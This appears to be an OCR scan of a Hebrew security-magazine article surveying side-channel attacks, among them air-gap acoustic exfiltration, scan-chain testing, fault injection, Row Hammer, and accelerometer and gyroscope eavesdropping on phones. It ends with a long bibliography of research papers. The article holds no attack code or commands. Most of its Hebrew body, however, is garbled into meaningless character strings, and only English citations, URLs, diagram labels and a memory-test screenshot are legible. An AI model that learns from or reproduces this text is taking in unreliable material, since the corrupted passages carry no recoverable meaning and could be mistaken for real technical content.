nwyl 'o1n? "1 it (yan) Y AT e 0" it (yan) X 7'9% 2T h qwRd N yTn

16.12.2016-2 n7M ,https://he.wikipedia.org/wiki/%D7%90%D7%A7%D7%95%D7%A1%D7%98%D7%99%D7%A7%D7%94 :“|I|7Y:|16

.16.12.2016-2 0™ ,22.12.2013 ,00"72'72 122 NI ,AWNAYT NITRD T 2V NIO¥N N¥NI9Z NV'YW NN'D 1AW T '9n9 i’

Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Compute, Mordechai Guri, Yosef Solewicz, Andrey :jm*®
Daidakulov, Yuval Elovici Ben-Gurion University of the Negev Cyber Security Research Center
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https://en.wikipedia.org/wiki/Air_gap_%28networking%29
https://he.wikipedia.org/wiki/%D7%90%D7%A7%D7%95%D7%A1%D7%98%D7%99%D7%A7%D7%94
http://www.calcalist.co.il/internet/articles/0,7340,L-3619940,00.html
https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf
https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf
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.NNITI

-2 NN DRI WOIN LN W N 7 7w |0 nndn e ,0nNx 07N md L [1oiey
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N'YPRIVI'N MY (101D NITTA NN NFAIX NN ITO IRUN 2,0 (10190 79 nip'7nn
NApYa D M 1w naRn 7D X (7apmi 0791 1K) Yomi Y711 n7177m Dy IX DIOK DY RN

NXYIN N'ANIXRN ,NXKIN DINNA QIR 1Y .1 IR NY n“npbmn IX DIOXRN DAY ,AXPRIVIRN
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https://he.wikipedia.org/wiki/%D7%9E%D7%97%D7%99%D7%A7%D7%94 %D7%9E%D7%9C%D7%90%D7%94 %D7%A9%D7%9C %
17.12.2016-12 N7 ,D7%A0%D7%AA%D7%95%D7%A0%D7%99%D7%9D
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https://he.wikipedia.org/wiki/%D7%95%D7%91%D7%A8_(%D7%99%D7%97%D7%99%D7%93%D7%AA_%D7%9E%D7%99%D7%93%D7%94)
https://he.wikipedia.org/wiki/%D7%95%D7%91%D7%A8_(%D7%99%D7%97%D7%99%D7%93%D7%AA_%D7%9E%D7%99%D7%93%D7%94)
https://he.wikipedia.org/wiki/%D7%A9%D7%93%D7%94_%D7%97%D7%A9%D7%9E%D7%9C%D7%99
https://he.wikipedia.org/wiki/%D7%9E%D7%97%D7%99%D7%A7%D7%94_%D7%9E%D7%9C%D7%90%D7%94_%D7%A9%D7%9C_%D7%A0%D7%AA%D7%95%D7%A0%D7%99%D7%9D
https://he.wikipedia.org/wiki/%D7%9E%D7%97%D7%99%D7%A7%D7%94_%D7%9E%D7%9C%D7%90%D7%94_%D7%A9%D7%9C_%D7%A0%D7%AA%D7%95%D7%A0%D7%99%D7%9D
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18.12.2016-2 N7 ,https://he.wikipedia.org/wiki/%D7%A4%D7%95%D7%98%D7%95%D7%9F ijzn’
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https://he.wikipedia.org/wiki/%D7%A4%D7%95%D7%98%D7%95%D7%9F
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("o 11p'M' N1 ,0'901 D'ANMIRTRA
:(Scan Chains) njp™o (*xny) nixww .1

D'7auNnY? 9'oINY [MNVN WK NIP'DVY 7710 oW 0 (Design for Testing®') np'Ta NaIvY QX'

D RITHA Y07 1721 AWK (N171DY) NN L,0'9YY DWA 1A' DWITA L (Integrated Circuit) Dxa71un
D"IYY UK ,0'29 D701 N2'R L7090 nXIP WK (Integrated Circuit) D'a7wnn 0'7avnn nnin
(Mean MTBF-n NN X7 Y*07 qr NI7ID' 17X NIRD0 LD 10D JDIMNN/IXIN TIRONA VIADT?

.01V NTIAY 'XINA 02D 7Y 19XN Time Between Failures)

DA7IYUn 0'722yn NI'PN NPT ANDY N0 N1 (Scan Chains) NP0 (') NIRWAY
Design for ) n7'1Ta NaIVY 2X'Y NNPY 7V noolann L|I7*7'o0 'oolan (Integrated Circuit)

NOPNNN [DIN NN20NA JWNNA IV''O! WK TIO' 'AWIN 190N |707.(Testing

7w D'¥P9 NIN 17V V79NY “Mmwn 7ayn Y0 - (Combinational Logic Circuit) 'o1n'x 17 2ayn e
X 017D 7NNl 0TIEN V7PN Y VTN L, NINYN NN V7PY Va2 .7apnn UK RN u7En
i i i ] i i i

.JNO'T [IONK NT'N 1IN 771D AT 'mwn 7aun 210

7w N9 NN 17w 0790w "mwn 7avn 10 - (Sequential Logic Circuits) "M TO "al'? 7ayn e
NT'N' NOOINA NXTIL'ON'X "AI7 72uNd N2 'NMTO 17 7a¥n D 72170 . 'ndinn Ix/1aynn v7pn
mpn' 7y ooan 'vnnnn NN .(Feedback) a1iwn [mn1 (havnn V7P NMYY) ND'T I0NK
- (ax' a¥n') 2Nd1o0 T ;0'7aIEn NTIAY 'avn v 0w (Sequential Machine) 'mmNTO
[AT NITIZI2 NO'DN DIYN D'YARI NDWYNAN DI YW 7 "ITIR'9"1 ny¥ann no>aynn n7iys”

n22

ni7wo" - ('nn axn') AMdroX TN L"Y(IIvw PN NdvNN ax¥n) 1YY NN 'Y Nin‘ion

""22ya7 792 NINWAY 213! N2AYNRN 2¥N ,NI0MN 1Y 7Y 1T NN Nownn

,(RMAIT? D17 DWW NI 7'o0) NP M NN 72aynnw 70 D NyT DX D'W7 W'D nd

DNIT NN KID (1230 W 7Y 0790 NIAXTIAY TV 0P 1Y VAN Afunn It

v (Bits ,0'0'2/NIA'0 HOIX NIIXA DN [IONX XN) AR 1'0 - (Shift Register) nTTh MAIX o

D'A727TN ' DTTN AR .N7RAY IR e (D. D'WIJND) D' 2N DANIN DX T'TNY N1

Design For Testability :'o1i7n nw?

22K 7N NO'ON21IN ,NIVIVIK NI 9K AT, Flip Flop :ipn®

.ow?
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https://en.wikipedia.org/wiki/Design_for_testing
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7D mMwawa Kan A7 Th NIQND wnwn TR A7a%T KXY D 1102 AT7 AT 0Nainnn
20 7w NIT'YON NN N0 [ATNY? KIN [IVWN NIR T'RON [Ivw NIX' INIX? DNaInNn 017225
DONINAN D'M1'AN DIININ 7Y NNX ATTN VIXA? AT NNAITD DIXRTE NN IR TR 2N0R7R

STIART NN NAIRD DINNNA NIRYI YW (Bits) Niraron D ik (Shift Register) nTTnn NaIka

(D'2'¥' DAxYN W an TNK 2x¥N 72777 212' WK 2aun) 21T 2aun KN - ?(Latch) yi/nma e
12'WU7 DRNNA DIXTE L[N AT 7222 NNwN? 1wy (Output) 0790 .NNKX (Bit) Na'o NdDT? 7a10nw

.(n1M>1'0-X NdwnN) (Input) V72

M7na X ,(Latch) 7vi/nM2a% nniT at 201 7w n7Ivon [Ny - (Flipflops) 9179 9™19/a'%1 o
07777 on yomn Nx MmN L(JIvw NIX' NNam) 72a'0 9w mira in (Output) V79N AT

.(Input)

,(Latch) n"72vnn 8/l (Flipflops) 9179 9'79/2727Th axna '1'w% DNA7 MWy TN NP Tan )7nna
)2 27V .(Shift Register) NTTNN JAIXQ DRIONIXAN DY'IXIAN DRININ 7Y 0VO'N7 DA TWKR T
19X 17 7ayn 'yn? ant 9182 im 'van (Combinational Logic Circuit) o 2170 7aynn

.N9I¥XNN V797 oN1 72W191 V79N NK NNWN? 2TIA7 "WwWoORNN 11T ,(Combinational Logic Circuit)

11D q'oin (Integrated Circuit) D A71IWnn D'7aynNn X' NP TAN VI DX 70191 WWONT7 Nin 7y
yIx 2y 9pn7 mon YwR enn 7ayn? (Test Points Insertion) [nan NIz (1dNn 27wAa

hhiaeh

M2Y-NnNa npP'Tan '70N INMY 0'wan 2"vn 07

Combinatorial Logic

Functional D D D ToScan
Data Q 0 0 OutPort
From Scan
In Port sl FF : FF Q - E FF | @

From Scan
Enable Port SE SE SE

From
Clock Port CLK

Functional Path
Scan Chain
Clock Signal

(]

9™9/2727T DY 2"TA XN '092 D NTAVN IKT NKTI DI "wowion" (Latch) ywin/nmaY (Flipflops) o179 979/37277T 2 71ann™
N7 1, (yw niX' nnaim) 72200 7w i X YWOKY DRN 07NN 7aWNN 7aunn 000 pn nRYE (Flipflops) 9179
.18.12.2016-2 n7m ,/http://anysilicon.com/overview-and-dynamics-of-scan-testing :“|||7Y:|25
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http://anysilicon.com/overview-and-dynamics-of-scan-testing/
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(Latch) n™7vnn X/l (Flipflops) D'227T7 2apm yny X' [N naw nonqn NI XnarT 707

27NN 7aunn NININNA I X7 '11'W7 DNA7 AWONRNN 12T, MuUNn 7ayna omvpn

Building Scan Chains

+ Scan chains add a second parallel path to each flop/latch
— Extra cap, extra area (<5% of the chip die total)
— Make sure scan inputs can overwrite the flop
— Make sure enabling scan doesn’'t damage cell (backwriting)
— Trend is to have every single flop/latch on the chip scan-able

Shift_b

si Ps 1 50
Shiﬂ[ T | T

Qut

Eource: Sunson, inwel

W Horouts £E 971 Loctre 12 5
]

NNTENN N'T'S NIYAL 72pR7 Q7INYT QTWON? NIWY XK' LIT NR'TA NRP'2002 0'I7aN NNNNH NnnY

Unom N1ox¥N NN5N 7 121y NNAIT DY YT 2'907 221 ,RkmaIT? (System on a Chip) SoC-4

A'wUN? nn 7 (N2v9nn NdIWN NNAIT) NDINN NDW DX qIpNn? (3"T2) waT qEimn ') D Wik

(Test PN NITRI7 NIXD PUNANNNY N8N KINY T XX LIT NOPNNA WIN'Y Ny INNUN DX

XTI X WK IT? DnIT AR YXA? pn NK71 702 yon DX WK Points Insertion)
:(Faults Injected) nx"aw npTh .N

D11 (Faults Injected) NX'aw NpATh 0'01 72y (Side-Channel Attack) 'TTx yny nopnn 1''oxn

N7PN7 DA QPN LT N9PNNA .NINN NnNa Buffer Overflow No'pn 'oxn nntilon Nnna

NIVIONL 'Y ,NdWYN AT 'Y NN NIX'DR Mun 7ayn IX'E NNArm) NN NMTEA
72T L, ("Munn 7ayna DIY DD A 1Y Y DY A0 M2 win'Y T wim'y 0Ty
NNDY ARXIN L(UR'Y/A'NNN NN nyao) gpnimn 210 NIRNINN IXY X7 1w oann
JN2'TA [lIonX NT'N'A Nnoniknn (Bit) n'vra/niaron axna (Flipflops) 1900 natn 1t nopn
NPAI7N NNAIT ,A1IUNNN NN 7V DWW YT NINT? 710" QEINN 1T DNj7'd0 NIYXNXA ,OXNN

.127YN2 N1AMN NA9¥N NNON '0191,WIN'Y NWY1 DNA D'NMIARN A0 / nn'm

Lecture 14 - Design for Testability, M. Horowitz, Computer Systems Laboratory, Stanford University :“|||7Y:|26
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https://en.wikipedia.org/wiki/Buffer_overflow
http://web.stanford.edu/class/archive/ee/ee371/ee371.1066/lectures/lect_14.2up.pdf
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:DRAM Bug / (Row Hammer) 'w'uon mw' .0

(Yoongu DMpINn MwLY? DxNNal ,>’2014 mwa nnoo (Row Hammer) 'w'von MY’ Nopnn
Kim,Ross Daly,Jeremie Kim, Chris Fallin, Ji Hye Lee, Donghyuk Lee, Chris Wilkerson, Konrad Lai,
(Dynamic DRAM '71mim/'0'01d 7w 1x"n '7nna (axa) 7w 7y noolan X'n Onur Mutlu)

28 Ay YixnY IN1 WK ,Random-Access Memory)

niopN (Execute) nxn / (Read) nxMy / (Write) narmd ni7vo yixa 7y 00ian n9pnnn [Ny
I¥Y X7 11'w7 91027 ,0Ma7 1wy WK 12T ,DRAM-n 7ITm/0r01) W niro jlonx (Raw) Miwa

("mimv') niImmy jjonk (Rows) niniwa i (Flipflops) 9179 9179/0'1a717Th 2xna

DWY (Process) 179 1'7nN X127 17 QWOKRN MWK NIYAY 727 WY QPN LIT N9PNN NIYYNARA
Privilege) "n' NIRWIN 91027 7ap7 1wy qpinn D2l amR - (Process) 10N 7V nyowin
2w Nt 99 'owTin' DR Nt 7In1% onnwn nann imm- 7'apna Wwxd L (Escalation

.(Sandbox) "71n NODIP' '00IAN NIAN 12D NOPYY [I'0' NYA NDW AT NDPNN A0 D WI' .NDPNNN

Exploiting the DRAM rowhammer bug to gain kernel privileges, Mark Seaborn, sandbox builder and breaker, with :“|||7Y:|27
contributions by Thomas Dullien, reverse engineer

Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Error, Yoongu Kim,Ross :1I|7YJ28
Daly,Jeremie Kim, Chris Fallin, Ji Hye Lee, Donghyuk Lee, Chris Wilkerson, Konrad Lai, Onur Mutlu, Carnegie Mellon University and

Intel Lab
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https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
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nNaN NN 2T 2Im)/'0'v1da NIYIAD N NYWONAN NP'TA NIKXINT nwnnn? XA 707

:(Row Hammer) 'w'09n nmw' nopnn 7w nnN'7xn7 0'0an NX niinn WX ,Corsair

Intel Core i7-4790K @ 4 .00GHz
Clk/Temp : 3998 MHz / 46C | = RARRARBARBRARBARABBBRBRR AR AT

L1 Cache : 64K214018 MB/s | # 3 A #

L2 Cache : 256K 61962 MB/s | = e ows

L3 Cache : 8192K 44119 MB/s | O0x100000000 - Ox23FD0O0000

Memory : 8431M 8802 MB/s | Pattern : Ox00000000

RAM Info : PC3-12800 DDR3 XMP 800MHz / 9-9-9-24 / Corsair CMD16GX3M2A1600CS

01234567 CPUs Found:
Al | CPUs Started:

4:44:54 AddrMode: 64 -bit Pass:

13 Addr: 22D23800 Expected: FFFFFFFF Actual : FFFFFFEF CPU:
13 Addr: 15D822FB0O Expected: FFFFFFFF Actual : FFFEFFFF CPU:
13 Addr: 22DC23268 Expected: FFFFFFFF Actual : DFFFFFFF CPU:
13 Addr: 22D23800 Expected: FFFFFFFF Actual : FFFFFFEF CPU:
13 Addr: 15D822FB0 Expected: FFFFFFFF Actual : FFFEFFFF CPU:
13 Addr: 22DC23268 Expected: FFFFFFFF Actual : DFFFFFFF CPU:

(ESC)/(c)onfig

Test Start Time : 2015-04-06 12:44:59 Tost | Errbye
Elapsed Time : 4:46:05
# Tests Passed: 33/35 (94%)

Lowest Error Address: 0x22D23800 (557MB)
Highest Error Address: 0x22DC23268 (8924MB)
Bits in Error Mask: 0000000020010010
Bits in Error - Total: 3 Min: 0 Max :

Max Contiguous Errors: 1

WoOVONOUAWNHD
COO0O0OO0O000000

ol

]
{(Smart Phone) non 19702 namn (Accelerometer) NXINN-TNA WIN'Y !

TI™MY? WwoNNN |w'N nnn (Smart Phone) ndn 19702 nmamn (Accelerometer) nNXINNN-TN
Fnion w¥a wn KD ANIK AXIRDA 2@, (11 7TIA 1071 207 7900 AXIRNN-TA DM AXIND
.AM7¥NNI NAIXNN 0N NX 2¥"7 X' (Smart Phones) D'dNn 0119700 N'27N2 AXIKNN-TA NN0N
7 lUXIN 27w .2011 Nwa NnoIo (Accelerometer) NXIXNN-TA 71X 7V NooiAnNN nNopNNN
Nipn YR (Vibration) nirvnan (Accelerometer) NXIXNN-TA NIYYXAX] MNXA QRINN ,N9PNNN
NID'N02 NXYNIN AWNN NT77nn (RNAIT? 78NW-['M') NIMIX X 7w 0'DIN0 NT77n '9¥1 NT77nn
D'7'N7 72w YyTNN DK '00'0V0 [9IN NIYN qFINN ,IWN 27w (Smart Phone) Don 19707
NIY NYL7 .wnnunn "y |TIN TWK DY YT qiun? 7a10n Xin DAt (Dictionary) 170 nindim

Slpmink 80-> Yw nnyn NNy 1y'an nn L Patrick Traynor '91N9 NIYXIQ DPINN

25.12.2016-2 N7 ,http://forum.corsair.com/v3/showthread.php?p=777033 :ijn®

25.12.2016-1 N ,https://he.wikipedia.org/wiki/%D7%9E%D7%93 %D7%AA%D7%9I0%D7%95%D7%A6%D7%94 i’

25.12.2016-2 n'7T1 Researchers can keylog your PC using your iPhone’s accelerometer, Chris Foresman, 2011,:“|||7Y:|31
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http://www.corsair.com/en-us
http://www.corsair.com/en-us
http://forum.corsair.com/v3/showthread.php?p=777033
https://he.wikipedia.org/wiki/%D7%9E%D7%93_%D7%AA%D7%90%D7%95%D7%A6%D7%94
http://arstechnica.com/apple/2011/10/researchers-can-keylog-your-pc-using-your-iphones-accelerometer/
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:Mdn NTNY 21'7'wa (Smart Phone) non (19702 niama (Gyroscope) 91;701N'2 WIn'Y . X!

;ay"="onM" NI ,Gyroscope :N'21X1) IX'ZA NA DMY7 K7 L9700 IN OIzoN"

WTN WO KNIN - (1852-1 1719 [IX7 'MOIXN 'KP'T'ON T 72V X¥nin own ;"N R "="019170" "a1n'o
DY ,Nj'T'o 'MMITN YINN 1IN'Y NINRY 7V NIC0ANN JIN NN 7 My I NTTNY7 wnwnn
QI AW NUITA DTN KIN DT 1'WON 79 D'¥I91N D'YIN'YN TNR .NOIZO0N'MA N'¥II'RD DA YIT DT

"32 yARN T 7w VN RIN 775 1T FPOIRD 2NN UKD L'POIN 2¥NA §ia7 YN K¥NIN

oolnn (Gyroscope) 91701N'a 0*7'dn (Smart Phones) 0NN 0119700 NN ' 0 NIKY? NDY

oI70N"A 7w N7IYON |NPY7? RNAIT 707 .(Micro Electro Mechanical System) MEMS n*a171100 7y

DA 'NYITA '1'WN - (Micro Electro Mechanical System) MEMS nai71100 7y ooianin (Gyroscope)

YN W7 NMMnt N1 WKR L ('M7010nn') nonn ona nyswinY

y

Fcori olis

Fcoriolis

z / -
(b) Driving mass movement depending on the angu-

lar rate = Figure 4. Coordinate system of Android and iOS.

(Gyroscope) 9170N'a 2007 [N D AN Yan Michalevsky, Dan Boneh, Gabi Nakibly nnpinn
NNIT1) NITRN 'W¥NX |'vn? (Micro Electro Mechanical System) MEMS n"i71mu 7y ooiann
.(Smart Phone) Ddnn [1I970n N2'202 NI'VOIPK NITIN 2V VTN 9I0'K NIY¥NXA NXTE, 3 (jlonrnY
N71Y 11'K (Gyroscope) 91701N'A NIYXAXA §I0'X7 [N TWX DTNN NHO D DTN NIK? ,NNXT DY

onpinn ,%°20,000-7 20 Hz Nva N1 YyinwY N7a10n DTRN [TIX YUK DTN WK ,200 Hz 7y

29.12.2016-1 n'7M ,https://he.wikipedia.org/wiki/%D7%92%D7%99%D7%A8%D7%95%D7%A1%D7%A7%D7%95%D7%A4 in™

Gyrophone: Recognizing Speech From Gyroscope Signals, Yan Michalevsky and Dan Boneh, Computer Science Department :“|||7Y:|33
Stanford University, Gabi Nakibly, National Research & Simulation Center Rafael Ltd

Gyrophone: Recognizing Speech From Gyroscope Signals, Yan Michalevsky and Dan Boneh, Computer Science Department :ijpn’
.Stanford University, Gabi Nakibly, National Research & Simulation Center Rafael Ltd

29.12.2016-1 N1 ,http://hypertextbook.com/facts/2003/ChrisDAmbrose.shtml :“|||7Y:|35
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https://he.wikipedia.org/wiki/MEMS
https://he.wikipedia.org/wiki/%D7%92%D7%99%D7%A8%D7%95%D7%A1%D7%A7%D7%95%D7%A4
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://hypertextbook.com/facts/2003/ChrisDAmbrose.shtml
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w195 .(*®NLP nnaim) Machine Learning niooian ('PIN Nnwn') 17 NIV'WA UNNWRY IX7X)

QI0'N VIXA NIYXNNA NNZ¥NN NNY DX 12307 gX1 DY yTn 2'on? IN'7¥0 DNZIinn on - K1

.(Smart Phones) 0'>Nin 011970 190NN 'VOIPKR YT'N

nid'o

TINVAN PIYA DY ,NNT NNNY IR ,NYTN N9pPNn NA'R (Side-Channel Attack) *TT¥ YNy nopnn
LJINT DY LNINN DR DIPND D78 D'ONY'NN DI'R DN L'917'N7 IX N7 DWTIn DI'R YT'NN
[NNID7UN UR NN NDIY DIFXRAIL 7Y DY IT D9pPNn DX Wnn? N1 D NN NIR'YNN
D70V 07NN YIA97 NI ,NI'UMP AWNN NDWNA NPTN A'WN7 QRINT WWOX7 NINYY Niannn
niwn DEFCON 24 nnarm ,0'NIX71'2 YT NNVAX '01D ' |"X¥X DOI'07 VOYND .[IAINA D'V}

178 2100 DMK Y NITTIANNY DN 7Y NNTRINN NIDYNN NIA'YN DX D'Y'A™M ,2016

“There is a greater darkness than the one we fight. It is the darkness of the soul that has
lost its way. The war we fight is not against powers and principalities, it is against chaos
and despair. Greater than the death of flesh is the death of hope, the death of dreams.
Against this peril we can never surrender. The future is all around us, waiting in moments
of transition, to be born in moments of revelation. No one knows the shape of that

future, or where it will take us. We know only that it is always born in pain.”

- Book of G'Quan

7annn 7y

D'VOWNN TIWN 7w SWGDE Nn¥Iap 1an ,0u1NLI'RI 7'M ,12"0 ,VT'N NNVAX NN 1'N 12'0 7
Enterprise ninna MVP-> nm7iyn Microsoft nnann ndn 72 '2'0 72 P 1D URPINRN

Security

% Natural Language Processing
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https://en.wikipedia.org/wiki/Machine_learning
https://en.wikipedia.org/wiki/Natural_language_processing
https://il.linkedin.com/in/yuval14
https://il.linkedin.com/in/yuval14
http://www.microsoft.com/
http://mvp.microsoft.com/en-us/default.aspx
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NNoSn Ni'r'n

Acoustic information, Air-Gap, Compare Cryptanalysis, Cryptographic Attacks, Data Remanence,
Design for Testability, DFT, Electromagnetic Emanations, Electromagnetic Leakage, Energy
Consumption, Faults Injected, Hardware Threat Model, Photonic Emissions, Scan Chains, Side-
Channel Attack, Root of Trust, TEMPEST, Timing

n'oMaI'ana

N'722082 oA

:D'INKN

e Exploiting the DRAM rowhammer bug to gain kernel privileges, Mark Seaborn, sandbox

builder and breaker, with contributions by Thomas Dullien, reverse engineer

e USBee: Air-Gap Covert-Channel via Electromagnetic Emission from USB, Mordechai Guri,

Matan Monitz, Yuval Elovici, Cyber Security Research Center, Ben-Gurion University of the

Negev, 2016

e Gyrophone: Recognizing Speech From Gyroscope Signals, Yan Michalevsky and Dan Boneh,

Computer Science Department Stanford University, Gabi Nakibly, National Research &

Simulation Center Rafael Ltd.

e Physical Key Extraction Attacks on PCs, Daniel Genkin, Lev Pachmanov, Itamar Pipman, Adi

Shamir, Eran Tromer, Communications of the ACM, Vol. 59 No. 6, Pages 70-79, 2016

e Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Compute, Mordechai

Guri, Yosef Solewicz, Andrey Daidakulov, Yuval Elovici Ben-Gurion University of the Negev

Cyber Security Research Center

e Stealing Keys from PCs using a Radio: Cheap Electromagnetic Attacks on Windowed

Exponentiation, Daniel Genkin, Lev Pachmanov, Itamar Pipman and Eran Tromer, Tel Aviv

University, March 2, 2015

e Quadrennial Technology Review 2015, Cyber and Physical Security, Chapter 3: Technology

Assessment, U.S. Deprtment of Energy

e Frequency Range of Human Hearing, Glenn Elert

e 8 Technologies That Can Hack Into Your Offline Computer and Phone, Farzan Hussain, 2015
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https://googleprojectzero.blogspot.co.il/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
https://googleprojectzero.blogspot.co.il/2015/03/exploiting-dram-rowhammer-bug-to-gain.html
http://cyber.bgu.ac.il/t/USBee.pdf
http://cyber.bgu.ac.il/t/USBee.pdf
http://cyber.bgu.ac.il/t/USBee.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://www.cs.technion.ac.il/~gnakibly/papers/Usenix14.pdf
http://cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/abstract
http://cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/abstract
https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf
https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf
https://arxiv.org/ftp/arxiv/papers/1606/1606.05915.pdf
http://www.cs.tau.ac.il/~tromer/papers/radioexp.pdfhttp:/www.cs.tau.ac.il/~tromer/papers/radioexp.pdf
http://www.cs.tau.ac.il/~tromer/papers/radioexp.pdfhttp:/www.cs.tau.ac.il/~tromer/papers/radioexp.pdf
http://www.cs.tau.ac.il/~tromer/papers/radioexp.pdfhttp:/www.cs.tau.ac.il/~tromer/papers/radioexp.pdf
https://energy.gov/sites/prod/files/2015/09/f26/QTR2015-3A-Cyber-and-Physical-Security_0_0.pdf
https://energy.gov/sites/prod/files/2015/09/f26/QTR2015-3A-Cyber-and-Physical-Security_0_0.pdf
http://hypertextbook.com/facts/2003/ChrisDAmbrose.shtml
https://www.hackread.com/hacking-offline-computer-and-phone/
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Stealing Data From Computers Using Heat

Blog: Testing for Row Hammer

Unconditionally Secure Quantum Signatures, Ryan Amiri and Erika Andersson, Entropy 2015,

17, 5635-5659

Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM

Disturbance Error, Yoongu Kim, Ross Daly, Jeremie Kim, Chris Fallin, Ji Hye Lee, Donghyuk Lee,

Chris Wilkerson, Konrad Lai, Onur Mutlu, Carnegie Mellon University and Intel Lab

Functional Scan Chain Testing, Douglas Chang, CS Department and Kwang-Ting Cheng and

Malgorzata Marek-Sadowska, ECE Department, University of California, and Mike Tien-Chien

Lee, Avant! Corp

Overview and Dynamics of Scan Chain Testing

Breaking the Sandbox, Sudeep Singh

The Spy in the Sandbox: Practical Cache Attacks in JavaScript and their Implication, Yossef

Oren, Vasileios P. Kemerlis, Simha Sethuma dhavan, Angelos D. Keromytis, Department of

Computer Science, Columbia University

Data Remanence in Semiconductor Devices, Peter Gutmann, IBM T.J.Watson Research Center

An Introduction to TEMPEST, SANS Institute InfoSec Reading Room

ASSESSMENT AND TESTING OF INDUSTRIAL DEVICES ROBUSTNESS AGAINST CYBER SECURITY

ATTACKS, F. Tilaro, B. Copy, CERN, Geneva, Switzerland

A Primer on Hardware Security: Models, Methods, and Metrics, Masoud Rostami, Farinaz

Koushanfar, and Ramesh Karri

Hardware Security: Threat Models and Metrics, Rostami and F. Koushanfar, Rice University

and J. Rajendran and R. Karri, Polytechnic Institute of NYU

Jia Di, Computer Science and Computer Engineering Department, University of Arkansas and

Scott Smith, Electrical and Computer Engineering Department, University of Missouri-Rolla

Creating a Weapon of Mass Disruption: Attacking Programmable Logic Controllers, Morten

Gjendemsj@, Norwegian University of Science and Technology, Department of Computer and

Information Science, June 2013

Side-Channel Attacks: Ten Years After Its Publication and the Impacts on Cryptographic

Module Security Testi, YongBin Zhou, DengGuo Feng, State Key Laboratory of Information

Security, Institute of Software, Chinese Academy of Sciences

Researchers can keylog your PC using your iPhone’s accelerometer, Chris Foresman, 2011

(Side-Channel Attack)TT¥ YNy nopnn? Xian
www.DigitalWhisper.co.il
35 2017 ANt ,79 [IM'7a



https://www.wired.com/2015/03/stealing-data-computers-using-heat/
http://www.eurosoft-uk.com/eurosoft-test-bulletin-testing-row-hammer/
http://www.mdpi.com/1099-4300/17/8/5635/pdf
http://www.mdpi.com/1099-4300/17/8/5635/pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
http://isis.poly.edu/~kurt/chang_func_scan_chain.pdf
http://isis.poly.edu/~kurt/chang_func_scan_chain.pdf
http://isis.poly.edu/~kurt/chang_func_scan_chain.pdf
http://anysilicon.com/overview-and-dynamics-of-scan-testing/
https://www.exploit-db.com/docs/34591.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
http://www.cypherpunks.to/~peter/usenix01.pdf
https://www.sans.org/reading-room/whitepapers/privacy/introduction-tempest-981
https://www.researchgate.net/publication/265753500_ASSESSMENT_AND_TESTING_OF_INDUSTRIAL_DEVICES_ROBUSTNESS_AGAINST_CYBER_SECURITY_ATTACKS
https://www.researchgate.net/publication/265753500_ASSESSMENT_AND_TESTING_OF_INDUSTRIAL_DEVICES_ROBUSTNESS_AGAINST_CYBER_SECURITY_ATTACKS
https://www.trust-hub.org/publications/P10.pdf
https://www.trust-hub.org/publications/P10.pdf
http://www.aceslab.org/sites/default/files/iccad2013.pdf
http://www.aceslab.org/sites/default/files/iccad2013.pdf
https://www.ndsu.edu/pubweb/~scotsmit/IEEE_R5_threat_model.pdf
https://www.ndsu.edu/pubweb/~scotsmit/IEEE_R5_threat_model.pdf
http://www.diva-portal.org/smash/get/diva2:649678/FULLTEXT01.pdf
http://www.diva-portal.org/smash/get/diva2:649678/FULLTEXT01.pdf
http://www.diva-portal.org/smash/get/diva2:649678/FULLTEXT01.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://arstechnica.com/apple/2011/10/researchers-can-keylog-your-pc-using-your-iphones-accelerometer/
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Bad vibrations: How smart phones could steal PC passwords, Kevin McCaney, 2011

Note on side-channel attacks and their countermeasures, Guido Bertoni, Joan Daemen,

Michae"| Peeters and Gilles Van Assche, The KECCAK Team, May 2009

Time-Based Blind SQL Injection using Heavy Queries, Chema Alonso, Daniel Kachakil, Rodolfo

Borddn, Antonio Guzman y Marta Beltran Speakers: Chema Alonso & José Parada Gimeno

Introduction to Side Channel Attacks, Hagai Bar-El, Discretix Technologies Ltd.

Hardware Security Course, Coursera and University of Maryland

Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems, Paul C.

Kocher, Cryptography Research, Inc., 1996

JINT YOR
DEF CON 24 2016 Side channel attacks on high security electronic safe locks
